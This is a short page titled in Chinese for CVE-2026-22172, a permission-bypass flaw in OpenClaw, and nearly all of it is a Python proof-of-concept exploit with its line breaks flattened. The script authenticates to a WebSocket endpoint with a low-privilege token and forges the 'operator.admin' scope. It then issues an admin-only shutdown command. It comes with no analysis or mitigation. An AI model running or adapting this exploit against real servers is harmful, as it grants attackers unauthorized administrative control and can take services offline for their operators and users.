CVE-2026-22172 OpenClaw权限绕过漏洞

import asyncio import websockets import json # Target configuration TARGET_URI = "ws://openclaw-server:8080/ws" SHARED_TOKEN = "low_privilege_token_here" async def exploit(): # Construct the payload with elevated scope payload = { "token": SHARED_TOKEN, "scope": "operator.admin" # Maliciously elevating scope } try: # Connect to the vulnerable WebSocket endpoint async with websockets.connect(TARGET_URI) as websocket: # Send the authentication message with the forged scope await websocket.send(json.dumps(payload)) print(f"[+] Sent auth payload: {payload}") # Wait for server response response = await websocket.recv() print(f"[+] Server response: {response}") # If connected successfully, perform admin operation admin_cmd = {"action": "shutdown", "reason": "Exploit"} await websocket.send(json.dumps(admin_cmd)) print("[+] Executed admin-only action.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(exploit())